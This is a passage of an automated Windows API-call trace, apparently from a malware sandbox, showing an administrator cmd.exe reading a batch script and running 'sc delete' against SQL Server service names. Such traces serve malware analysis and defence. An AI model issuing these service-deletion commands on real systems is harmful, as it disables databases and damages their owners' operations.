lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="QSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="LQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="AL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="g$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eWOLTERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="nOLTERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="tLTERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="$TERSKLUWER\"\n\n\n") returned 1 [0066.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.369] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="PERSKLUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="RRSKLUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="OSKLUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="GKLUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="ILUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="DUWER\"\n\n\n") returned 1 [0066.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.370] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="\"WER\"\n\n\n") returned 1 [0066.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.371] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="\nER\"\n\n\n") returned 1 [0066.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.371] GetFileType (hFile=0xb8) returned 0x3 [0066.371] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.371] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.371] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.371] GetFileType (hFile=0x120) returned 0x3 [0066.371] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$PROGID\"\n", lpUsedDefaultChar=0x0) returned 29 [0066.371] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1c, lpOverlapped=0x0) returned 1 [0066.371] GetProcessHeap () returned 0x1b0000 [0066.371] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.371] GetProcessHeap () returned 0x1b0000 [0066.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.371] GetProcessHeap () returned 0x1b0000 [0066.371] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.371] GetProcessHeap () returned 0x1b0000 [0066.371] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.371] GetProcessHeap () returned 0x1b0000 [0066.371] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa40 [0066.371] GetConsoleOutputCP () returned 0x1b5 [0066.372] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.372] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.372] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.372] GetProcessHeap () returned 0x1b0000 [0066.372] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.372] GetProcessHeap () returned 0x1b0000 [0066.372] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1cba10 [0066.372] GetProcessHeap () returned 0x1b0000 [0066.372] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0066.372] SetErrorMode (uMode=0x0) returned 0x1 [0066.372] SetErrorMode (uMode=0x1) returned 0x0 [0066.372] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.372] SetErrorMode (uMode=0x1) returned 0x1 [0066.372] GetProcessHeap () returned 0x1b0000 [0066.372] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0066.372] GetProcessHeap () returned 0x1b0000 [0066.372] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0066.372] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.373] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.373] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.373] GetProcessHeap () returned 0x1b0000 [0066.373] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.373] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.373] GetLastError () returned 0x2 [0066.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.373] GetLastError () returned 0x2 [0066.374] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.374] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.374] GetLastError () returned 0x2 [0066.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.374] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.374] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.374] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.374] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.374] GetProcessHeap () returned 0x1b0000 [0066.374] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.374] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.375] GetProcessHeap () returned 0x1b0000 [0066.375] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb0) returned 0x1c9180 [0066.375] GetProcessHeap () returned 0x1b0000 [0066.375] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb0 [0066.375] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$PROGID\"") returned 1 [0066.375] GetProcessHeap () returned 0x1b0000 [0066.375] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.375] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.375] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.375] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.375] GetProcessHeap () returned 0x1b0000 [0066.375] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.376] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.377] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.377] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.377] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.377] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.377] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.377] GetProcessHeap () returned 0x1b0000 [0066.377] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.377] GetProcessHeap () returned 0x1b0000 [0066.377] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.377] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb24, dwThreadId=0xb1c)) returned 1 [0066.382] CloseHandle (hObject=0x50) returned 1 [0066.382] SetEnvironmentVariableW 